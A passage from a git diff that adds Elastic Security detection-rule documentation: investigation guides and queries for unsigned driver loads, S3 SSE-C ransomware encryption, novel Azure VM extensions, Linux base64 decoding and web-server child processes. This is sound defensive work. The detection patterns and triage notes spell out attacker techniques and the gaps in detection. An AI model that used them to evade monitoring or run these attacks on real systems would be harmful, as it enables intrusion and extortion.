process evidence weakens this corroborator but does not clear an unexplained untrusted driver load. + +- Does the host cohort and prevalence fit a controlled driver workflow? + - Focus: `host.id`, `host.name`, and the smallest stable indicator, usually `dll.hash.sha256`, `dll.path`, or `dll.code_signature.subject_name`. + - Hint: broaden only when identity, recency, inventory, or tampering evidence remains suspicious or unresolved. !{investigate{"description":"","label":"Alerts associated with the driver identity","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"dll.hash.sha256","queryType":"phrase","value":"{{dll.hash.sha256}}","valueType":"string"}],[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"dll.path","queryType":"phrase","value":"{{dll.path}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the driver appears on production systems, user-writable paths, unrelated hosts, or outside the expected lab cohort; lower concern only when artifact, path pattern, signer, and host cohort consistently match a controlled validation workflow. + +- Using identity, trust failure, staging/provenance, osquery inventory, signing-control evidence, and host-cohort spread: escalate unauthorized kernel code, BYOVD, or signature-bypass evidence; close only when telemetry binds the load to one controlled driver workflow; preserve artifacts and escalate mixed or incomplete cases. + + +*False positive analysis* + + +- Controlled driver-development, OEM hardware validation, and authorized security or EDR compatibility testing can load test-signed or unsigned drivers on isolated lab hosts. Confirm first with telemetry: `dll.hash.sha256`, `dll.path`, `dll.code_signature.status` or `dll.code_signature.subject_name`, current osquery image and service output, and `host.id` cohort must align with one workflow. Use build, test, or change records only after telemetry binds the exact artifact and cohort; if unavailable, require prior alerts for the same driver artifact and host cohort before exceptioning. If any evidence dimension contradicts the workflow, do not close as benign. +- Build exceptions only from the minimum confirmed pattern, such as `dll.hash.sha256` plus `dll.path` plus bounded `host.id` cohort or service identity. Avoid exceptions on `dll.name`, signer, or generic unsigned-driver conditions alone. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and document the driver artifact, host cohort, current osquery image and service values, and any corroborating external record. Keep exceptions narrow to the confirmed hash, path, host cohort, or service identity. +- If suspicious but unconfirmed: + - Preserve the driver file if accessible, the alert event export, osquery driver inventory results, surrounding signing-control process events, and the case timeline before containment or cleanup. + - Apply reversible containment first, such as temporary network restriction or heightened monitoring, while scoping the same `dll.hash.sha256` or `dll.path` across other hosts. + - Escalate to host isolation before reboot, uninstall, or cleanup only if evidence shows code-integrity tampering, vulnerable-driver loader activity, post-load abuse, or spread outside the expected lab cohort. +- If confirmed malicious: + - Isolate the host after preserving the driver artifact, service or boot-start context, signing-control evidence, and affected `host.id` or `host.name`. If endpoint response is unavailable, hand off that evidence set to the team that can contain the system. + - Scope other hosts for the same `dll.hash.sha256`, `dll.path`, or `dll.code_signature.subject_name` before uninstalling the driver, deleting the file, removing the backing service, or rebooting. + - Remove the malicious driver, related service or boot-start entry, and code-signing or DSE changes identified during investigation, then remediate the loader or vulnerable-driver path that introduced it. +- Post-incident hardening: + - Re-enable or enforce driver-signing and code-integrity controls on the affected host class, block confirmed malicious or vulnerable `dll.hash.sha256` values and `dll.path` locations, and restrict test-signing to isolated lab systems. + - Document any BYOVD family, loader service name, or host-cohort pattern uncovered during triage for future response cases. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +driver where host.os.type == "windows" and process.pid == 4 and + (dll.code_signature.trusted == false or dll.code_signature.exists == false) and + /* errorExpired and errorRevoked are handled by d12bac54-ab2a-4159-933f-d7bcefa7b61d */ + not dll.code_signature.status : ("errorExpired", "errorRevoked", "errorCode_endpoint:*") and + + not dll.hash.sha256 : ( + /* HP DOT4 printer driver family FPs (Dot4.sys, Dot4Prt.sys, Dot4usb.sys, Dot4Scan.sys) */ + "f21c1d478180bc5e932bb2c2e4618e3ed463ca87acedeb139682d218435f82f1", + "7e2f2a139e897eae56038b920bda9381094bc0ae9e626f6634e6b444b8b0c91f", + "12ffdf5f48a79b1b4adbb88ba2cb6c59dd6719554e8ea6beefe99b3e3c66f1ac", + "dbc6afaf80141e2480e19878f581edfe9c2b018da2ec527c4025ff04d5587afd", + /* (dc3d.sys, test-signed) */ + "ca8f9564733ded4c3895cf7150bb254995d66889e6be08d6654e4f897e4ff7a4" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-aws-s3-object-encryption-with-sse-c.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-aws-s3-object-encryption-with-sse-c.asciidoc new file mode 100644 index 0000000000..b4df2a1314 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-aws-s3-object-encryption-with-sse-c.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-unusual-aws-s3-object-encryption-with-sse-c]] +=== Unusual AWS S3 Object Encryption with SSE-C + +Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual AWS S3 Object Encryption with SSE-C* + + +This rule identifies the use of Server-Side Encryption with Customer-Provided Keys (SSE-C) in AWS S3. This could indicate malicious activity, such as ransomware encrypting objects, rendering them inaccessible without the corresponding encryption keys. + + +*Possible investigation steps* + + +**Identify the user and source**: + - Review the `aws.cloudtrail.user_identity.arn` to identify the IAM user or role performing the operation. + - Cross-check the `source.ip` and `user_agent.original` fields for unusual IPs or user agents that could indicate unauthorized access. + - Review the `aws.cloudtrail.user_identity.access_key_id` to identify the access key used. This could be a compromised key. + +**Examine the targeted resources**: + - Check `aws.cloudtrail.request_parameters` to identify the bucket involved. + - Analyze the object key from `aws.cloudtrail.request_parameters`. + +**Evaluate encryption behavior**: + - Confirm the encryption details in `aws.cloudtrail.request_parameters` and `aws.cloudtrail.additional_eventdata`. + - Note if `SSEApplied` is `SSE-C`, which confirms encryption using a customer-provided key. + +**Correlate with recent events**: + - Look for any suspicious activity in proximity to the encryption event, such as new access key creation, policy changes, or unusual access patterns from the same user or IP. + - Identify `ListBucket` or `GetObject` operations on the same bucket to determine all affected objects. + - For `PutObject` events, identify any other unusual objects uploaded such as a ransom note. + - For `CopyObject` events, determine if existing objects are being re-encrypted in place using SSE-C, a common ransomware workflow that overwrites objects with attacker-controlled keys without uploading new data. + +**Validate access permissions**: + - Check the IAM policies and roles associated with the user to verify if they had legitimate access to encrypt objects. + +**Assess impact**: + - Identify the number of encrypted objects in the bucket by examining other similar events. + - Determine if this encryption aligns with standard business practices or constitutes a deviation. + + +*False positive analysis* + + +- Confirm if SSE-C encryption is part of regular operations for compliance or data protection. +- Cross-reference known processes or users authorized for SSE-C encryption in the affected bucket. + + +*Response and remediation* + + +**Immediate actions**: + - Disable access keys or permissions for the user if unauthorized behavior is confirmed. + - Rotate the bucket's encryption configuration to mitigate further misuse. + +**Data recovery**: + - Attempt to identify and contact the party holding the SSE-C encryption keys if recovery is necessary. + +**Enhance monitoring**: + - Enable alerts for future SSE-C encryption attempts in critical buckets. + - Review and tighten IAM policies for roles and users accessing S3. + +**Post-Incident review**: + - Audit logs for additional activities by the same user or IP. + - Document findings and apply lessons learned to improve preventive measures. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: ("PutObject" or "CopyObject") + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.x-amz-server-side-encryption-customer-algorithm: "AES256" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-azure-vm-extension-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-azure-vm-extension-detected.asciidoc new file mode 100644 index 0000000000..c172ac8743 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-azure-vm-extension-detected.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-unusual-azure-vm-extension-detected]] +=== Unusual Azure VM Extension Detected + +Identifies the first time a given VM extension name is created or updated on an Azure virtual machine or VM scale set within the rule's lookback window. VM extensions run with high privilege on the guest (SYSTEM on Windows, root on Linux) and are a common code-execution and persistence primitive. The extension instance name is attacker-controlled and the Azure activity log records only that name, not the publisher or type, so the control plane cannot reliably identify the extension family (for example CustomScript). This rule therefore takes a type-agnostic ES|QL new-terms approach: it derives the host and the extension instance name from `azure.resource.name` and alerts the first time a given (host, extension name) pair is observed in the window, surfacing novel extension deployments while suppressing names a host routinely uses. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netspi.com/blog/technical-blog/adversary-simulation/7-ways-to-execute-command-on-azure-virtual-machine-virtual-machine-scale-sets/ +* https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/custom-script-windows +* https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/overview +* https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors +* https://www.sysdig.com/blog/the-expendable-extension-name-azure-vmaccess-naming-chaos-password-resets-and-a-detection-gap + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Cloud VM Execution +* Rule Type: ES|QL +* Platform: Azure + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Azure VM Extension Detected* + + +Identifies the first time a given VM extension name is created or updated on an Azure virtual machine or VM scale set within the +rule's lookback window. VM extensions run with high privilege on the guest (SYSTEM on Windows, root on Linux) and are a +common code-execution and persistence primitive. The extension instance name is attacker-controlled and the Azure +activity log records only that name, not the publisher or type, so the control plane cannot reliably identify the +extension family (for example CustomScript). This rule therefore takes a type-agnostic ES|QL new-terms approach: it +derives the host and the extension instance name from `azure.resource.name` and alerts the first time a given +(host, extension name) pair is observed in the window, surfacing novel extension deployments while suppressing names a +host routinely uses. + + +*Possible investigation steps* + + +- Identify the host (`Esql.vm_name`) and the full extension resource (`azure.resource.name` / `azure.resource.id`). +- Identify the acting principal: `Esql.principal_id_values`, `Esql.principal_type_values` (User vs ServicePrincipal), + `Esql.appid_values`. Service principal or managed identity deployment is more suspicious than a known admin user. +- Review the source: `Esql.source_ip_values`, `Esql.source_as_number_values`, `Esql.source_country_values`. Cloud + hosting, VPS, or anonymizing networks are more suspicious than known corporate egress. +- Was this preceded by a Run Command invocation, role assignment, or other VM operations by the same principal? +- Correlate with endpoint telemetry on the host: process activity parented by the Azure guest agent + (`WaAppAgent.exe` / `walinuxagent`) within ~120 seconds of the deployment. +- Review the principal's Entra ID sign-in logs and RBAC role assignments on the subscription, resource group, and VM. +- Retrieve the extension settings/protected settings from the VM (the activity log does not contain the script/settings + body) to assess intent. +- Pivot on the VM for credential access, new local accounts, or outbound C2 connections following the deployment. + + +*False positive analysis* + + +- This is a broad first-seen net: the first deployment of any extension name to a host alerts, so benign monitoring, + antimalware (Defender/MDE), AKS, DSC, or configuration-management extensions deployed by routine automation will + trigger. Baseline expected automation principals (`Esql.appid_values`) and extension names, and exclude verified ones. +- Automation that generates a unique extension instance name per deployment produces a new (host, name) pair every time + and will recur; if benign, exclude by the deploying principal/appid or the known naming pattern rather than per host. +- Newly provisioned VMs receiving their initial extension set are expected. Corroborate the deploying principal and + source before escalating, and treat deployments from known corporate egress by approved automation as lower confidence. + + +*Response and remediation* + + +- If unauthorized, remove the extension, isolate the VM, rotate credentials reachable from it, and review RBAC on the affected scope. +- Collect endpoint and activity log artifacts per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-azure.activitylogs-* +| WHERE event.dataset == "azure.activitylogs" + AND event.action IN ( + "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE", + "MICROSOFT.COMPUTE/VIRTUALMACHINESCALESETS/EXTENSIONS/WRITE" + ) + AND event.outcome IN ("success", "Success") +// azure.resource.name is "/EXTENSIONS/"; the instance name is attacker-controlled, +// so key on the host (first path element) rather than the spoofable extension name +| EVAL Esql.vm_name = MV_FIRST(SPLIT(azure.resource.name, "/")) +| EVAL Esql.extension_name = MV_LAST(SPLIT(azure.resource.name, "/")) +| STATS Esql.first_time_seen = MIN(@timestamp), + Esql.last_time_seen = MAX(@timestamp), + Esql.event_count = COUNT(*), + Esql.resource_name_values = VALUES(azure.resource.name), + Esql.resource_id_values = VALUES(azure.resource.id), + Esql.principal_id_values = VALUES(azure.activitylogs.identity.authorization.evidence.principal_id), + Esql.principal_type_values = VALUES(azure.activitylogs.identity.authorization.evidence.principal_type), + Esql.appid_values = VALUES(azure.activitylogs.identity.claims.appid), + Esql.source_ip_values = VALUES(source.ip), + Esql.source_as_number_values = VALUES(source.`as`.number), + Esql.source_country_values = VALUES(source.geo.country_name), + Esql.subscription_id_values = VALUES(azure.subscription_id) + BY Esql.vm_name, Esql.extension_name +// new terms emulation: fire only when the (host, extension name) pair is the single occurrence in the +// 7-day window (event_count == 1) and it is recent (within the schedule interval + ingest-lag buffer) +| EVAL Esql.recent_minutes = DATE_DIFF("minute", Esql.first_time_seen, NOW()) +| WHERE Esql.recent_minutes <= 10 AND Esql.event_count == 1 +// surface real fields for the analyst and rule exceptions +| EVAL azure.resource.name = MV_FIRST(Esql.resource_name_values), + azure.resource.id = MV_FIRST(Esql.resource_id_values), + source.ip = MV_FIRST(Esql.source_ip_values) +| KEEP azure.resource.name, azure.resource.id, source.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-base64-encoding-decoding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-base64-encoding-decoding-activity.asciidoc new file mode 100644 index 0000000000..a95f15afbd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-base64-encoding-decoding-activity.asciidoc @@ -0,0 +1,253 @@ +[[prebuilt-rule-8-19-34-unusual-base64-encoding-decoding-activity]] +=== Unusual Base64 Encoding/Decoding Activity + +This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Encoding-Based Obfuscation +* Rule Type: ES|QL +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Base64 Encoding/Decoding Activity* + +Base64 encoding is a method to convert binary data into ASCII text, often used for data transmission. Adversaries exploit this to obfuscate malicious payloads or commands, bypassing security controls. The detection rule identifies suspicious Base64 activity on Linux by monitoring specific processes and command patterns, flagging anomalies for further investigation. + + +*Possible investigation steps* + + +- Review the process name and command line arguments to understand the context of the Base64 activity. Check if the process name matches known legitimate applications or scripts. +- Examine the timestamp of the event to determine if the activity occurred during normal operational hours or if it coincides with other suspicious activities. +- Investigate the host operating system type and agent ID to identify the specific Linux system involved and assess if it has a history of similar alerts or other security incidents. +- Analyze the process command line for any unusual patterns or parameters that might indicate obfuscation or malicious intent, such as the presence of decode flags or unexpected Base64 operations. +- Correlate the event with other logs or alerts from the same host or network to identify potential lateral movement or coordinated attacks. +- Check for any recent changes or deployments on the affected system that might explain the Base64 activity, such as new software installations or updates. +- Consult threat intelligence sources to determine if the observed Base64 patterns or command line arguments are associated with known malware or attack techniques. + + +*False positive analysis* + + +- Routine administrative scripts may use base64 encoding for legitimate data processing tasks. Review the process.command_line and process.args fields to identify known scripts and consider excluding them from the rule. +- Backup or data transfer operations might employ base64 encoding to handle binary data. Verify the process.name and process.command_line to ensure these operations are recognized and add exceptions for these specific processes. +- Development environments often use base64 encoding for testing purposes. Identify development-related processes by examining the process.name and process.command_line and exclude them if they are part of regular development activities. +- Automated system monitoring tools might trigger this rule if they use base64 encoding for log or data analysis. Check the agent.id and process.command_line to confirm these tools and exclude them from the rule if they are verified as non-threatening. +- Security tools that perform data encoding for analysis or reporting could be flagged. Validate these tools by reviewing the process.name and process.command_line and create exceptions for them if they are part of the security infrastructure. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network to prevent further data exfiltration or lateral movement by the adversary. +- Terminate any suspicious processes identified by the alert, particularly those involving base64 encoding/decoding, to halt potential malicious activity. +- Conduct a thorough review of the process command lines and arguments flagged by the alert to identify any malicious scripts or payloads. Remove or quarantine these files as necessary. +- Check for any unauthorized user accounts or privilege escalations that may have been established during the attack and revoke access immediately. +- Restore any affected systems or files from a known good backup to ensure the integrity of the system and data. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the suspicious base64 activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if broader organizational impacts exist. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and ( + ( + process.name in ("base64", "base64plain", "base64url", "base64mime", "base64pem", "base32", "base16") and + (process.args like "--d*" or process.args like "-d*") + ) or + ( + process.name == "openssl" and + process.args == "enc" and + process.args in ("-d", "-base64", "-a") + ) or + ( + process.name like "python*" and ( + ( + process.args == "base64" and + process.args in ("-d", "-u", "-t") + ) or + ( + process.args == "-c" and + process.command_line like "*base64*" and + process.command_line like "*b64decode*" + ) + ) + ) or + ( + process.name like "perl*" and + process.command_line like "*decode_base64*" + ) or + ( + process.name like "ruby*" and + process.args == "-e" and + process.command_line like "*Base64.decode64*" + ) + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.args, + process.command_line, + process.parent.name, + process.parent.command_line, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace +| stats + Esql.event_count = count(), + Esql.process_parent_name_values = values(process.parent.name), + Esql.process_parent_command_line_values = values(process.parent.command_line), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.name, process.command_line +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 15 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.name, process.command_line, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..35150584b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-execution-via-web-server.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-unusual-child-execution-via-web-server]] +=== Unusual Child Execution via Web Server + +This rule leverages the "new_terms" rule type to detect unusual child process executions originating from web server processes on Linux systems. Attackers may exploit web servers to maintain persistence on a compromised system, often resulting in atypical child process executions. As child process spawns from web server parent processes are common, the "new_terms" rule type approach helps identify deviations from normal behavior. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: New Terms +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Child Execution via Web Server* + + +This alert flags a Linux web service starting a child program it does not normally launch, which can reveal a compromised application server being used for persistence or follow-on actions. A common pattern is an attacker exploiting a web app bug, then making nginx, Apache, or a Python app server spawn a shell or script interpreter that downloads tools, runs system commands, or installs a backdoor under the web service context. + + +*Possible investigation steps* + + +- Review the full parent-to-descendant execution chain to determine whether the web service launched a shell, interpreter, downloader, or archive utility that then executed additional payloads. +- Correlate the process start time with web access, error, reverse-proxy, and WAF logs to identify the triggering request, source IP, requested path, upload activity, and signs of exploitation such as command injection or remote file inclusion. +- Determine whether the spawned program is part of a legitimate deployment or maintenance task by validating its file path, package ownership, hash, modification time, deployment records, and recent change windows. +- Examine activity under the web service account around the alert for suspicious file writes, new scheduled tasks or service entries, privilege escalation attempts, credential access, and unusual outbound network connections. +- If the execution is not explained by approved application behavior, contain the affected host or web service, preserve forensic artifacts, remove unauthorized files or persistence mechanisms, rotate exposed secrets, and hunt for the same behavior across other internet-facing servers. + + +*False positive analysis* + + +- A newly deployed or updated web application may legitimately cause the web server or app server to launch a previously unseen helper binary for application functionality, so verify the child executable path, package ownership, and command line against recent approved deployment or configuration changes. +- A CGI, FastCGI, or application framework process may spawn a custom maintenance or content-processing program only for specific requests, so confirm the parent-child relationship by correlating the execution time and arguments with the triggering web request and expected application behavior. + + +*Response and remediation* + + +- Immediately isolate the affected Linux web host or remove it from the load balancer, stop the compromised web service if business impact allows, and block the source IPs and outbound destinations associated with the malicious child process and any follow-on downloads. +- Preserve forensic evidence and remove persistence by collecting the suspicious executable or script, web-accessible backdoors, recent uploads, cron jobs, systemd service files, rc.local changes, modified SSH authorized_keys entries, and any attacker-created accounts before deleting them. +- Terminate all attacker-controlled processes spawned by the web service, then delete dropped payloads and staging files from locations such as /tmp, /var/tmp, /dev/shm, and the web root, and revert any unauthorized permission, sudoers, or startup changes used to maintain execution. +- Restore the application and host to a known-good state by rebuilding from a trusted image or clean backup, redeploying verified packages and web content, rotating credentials and tokens exposed on the server, and confirming no unauthorized binaries or modified files remain. +- Escalate to incident response immediately if the web child process launched a shell or interpreter, established outbound command-and-control traffic, modified authentication material, moved laterally, or if sensitive data, production secrets, or customer-facing systems may have been exposed. +- Harden the environment by patching the exploited web component, disabling unnecessary script execution from upload and web content directories, enforcing least privilege for the web service account, restricting outbound network access, and expanding monitoring for similar child-process launches and persistence artifacts across peer web servers. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and ( + process.parent.name:( + apache2 or asterisk or caddy or daphne or flask or frankenphp or httpd or httpd.worker or + lswsctrl or mongrel_rails or nginx or php-cgi or php-cgi.cagefs or php-fcgi or starman or + sw-engine-fpm or uvicorn or uwsgi or varnishd or waitress-serve or zabbix_server or *.cgi + or *.fcgi or gunicorn* or php-fpm* or 